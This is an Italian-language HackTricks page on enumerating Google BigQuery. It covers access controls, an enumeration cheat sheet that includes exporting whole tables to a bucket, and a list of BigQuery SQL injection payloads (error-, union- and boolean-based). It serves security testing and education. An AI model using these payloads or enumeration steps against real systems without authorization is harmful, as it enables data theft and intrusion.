GCP - Bigquery Enum

Support HackTricks

Informazioni di base

Google Cloud BigQuery è un data warehouse aziendale completamente gestito e senza server, che offre capacità per l'analisi di petabyte di dati, gestendo così dataset su larga scala in modo efficiente. Come Platform as a Service (PaaS), fornisce agli utenti infrastruttura e strumenti per facilitare la gestione dei dati senza la necessità di supervisione manuale.

Supporta le query utilizzando ANSI SQL. Gli oggetti principali sono dataset contenenti tabelle contenenti dati SQL.

Crittografia

Per impostazione predefinita viene utilizzata una chiave di crittografia gestita da Google, anche se è possibile configurare una chiave di crittografia gestita dal cliente (CMEK). È possibile indicare la chiave di crittografia per dataset e per tabella all'interno di un dataset.

Scadenza

È possibile indicare un tempo di scadenza nel dataset in modo che qualsiasi nuova tabella creata in questo dataset venga eliminata automaticamente il numero specificato di giorni dopo la creazione.

Fonti esterne

Bigquery è profondamente integrato con altri servizi Google. È possibile caricare dati da bucket, pub/sub, google drive, database RDS...

ACL del dataset

Quando viene creato un dataset, le ACL vengono collegate per dare accesso su di esso. Per impostazione predefinita, vengono concessi privilegi di Proprietario all'utente che ha creato il dataset e poi Proprietario al gruppo projectOwners (Proprietari del progetto), Scrittore al gruppo projectWriters e Lettore al gruppo projectReaders:

bq show --format=prettyjson <proj>:<dataset>

...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...

Controllo dell'accesso alle righe della tabella

È possibile controllare le righe a cui un principale potrà accedere all'interno di una tabella con le politiche di accesso alle righe. Queste sono definite all'interno della tabella utilizzando DDL. La politica di accesso definisce un filtro e solo le righe corrispondenti a quel filtro saranno accessibili dai principali indicati.

# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');

# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');

# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

Controllo degli Accessi alle Colonne

Per limitare l'accesso ai dati a livello di colonna:

  1. Definire una tassonomia e tag di policy. Crea e gestisci una tassonomia e tag di policy per i tuoi dati. https://console.cloud.google.com/bigquery/policy-tags

  2. Facoltativo: Concedi il ruolo di Lettore Fine-Grained del Catalogo Dati a uno o più soggetti su uno o più dei tag di policy che hai creato.

  3. Assegna i tag di policy alle tue colonne di BigQuery. In BigQuery, utilizza le annotazioni dello schema per assegnare un tag di policy a ciascuna colonna dove desideri limitare l'accesso.

  4. Applica il controllo degli accessi sulla tassonomia. L'applicazione del controllo degli accessi fa sì che le restrizioni di accesso definite per tutti i tag di policy nella tassonomia vengano applicate.

  5. Gestisci l'accesso sui tag di policy. Utilizza le politiche di Identity and Access Management (IAM) per limitare l'accesso a ciascun tag di policy. La politica è in vigore per ciascuna colonna che appartiene al tag di policy.

Quando un utente tenta di accedere ai dati di una colonna al momento della query, BigQuery controlla il tag di policy della colonna e la sua politica per vedere se l'utente è autorizzato ad accedere ai dati.

In sintesi, per limitare l'accesso ad alcune colonne per alcuni utenti, puoi aggiungere un tag alla colonna nello schema e limitare l'accesso degli utenti al tag applicando il controllo degli accessi sulla tassonomia del tag.

Per applicare il controllo degli accessi sulla tassonomia è necessario abilitare il servizio:

gcloud services enable bigquerydatapolicy.googleapis.com

È possibile vedere i tag delle colonne con:

bq show --schema <proj>:<dataset>.<table>

[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]

Enumerazione

# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)

# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table>  # Get schema of a table

# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files

# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json

# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies

# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>

# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>

# Misc
bq show --encryption_service_account # Get encryption service account

BigQuery SQL Injection

Per ulteriori informazioni puoi controllare il post del blog: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Qui verranno forniti solo alcuni dettagli.

Commenti:

  • select 1#from here it is not working

  • select 1/*between those it is not working*/ Ma solo il primo non funzionerà

  • select 1--from here it is not working

Ottieni informazioni sull'ambiente come:

  • Utente corrente: select session_user()

  • ID progetto: select @@project_id

Concatena righe:

  • Tutti i nomi delle tabelle: string_agg(table_name, ', ')

Ottieni i nomi di dataset, tabelle e colonne:

  • Nome del progetto e del dataset:

SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
  • Nomi delle colonne e delle tabelle di tutte le tabelle del dataset:

# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS

SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
  • Altri dataset nello stesso progetto:

SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA

SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA

Tipi di SQL Injection:

  • Basato su errore - casting: select CAST(@@project_id AS INT64)

  • Basato su errore - divisione per zero: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '

  • Basato su union (devi usare ALL in bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#

  • Basato su booleano: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

  • Potenziale basato su tempo - Utilizzo di dataset pubblici esempio: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000

Documentazione:

Escalation dei privilegi & Post Exploitation

Persistenza

Riferimenti

Supporta HackTricks

Last updated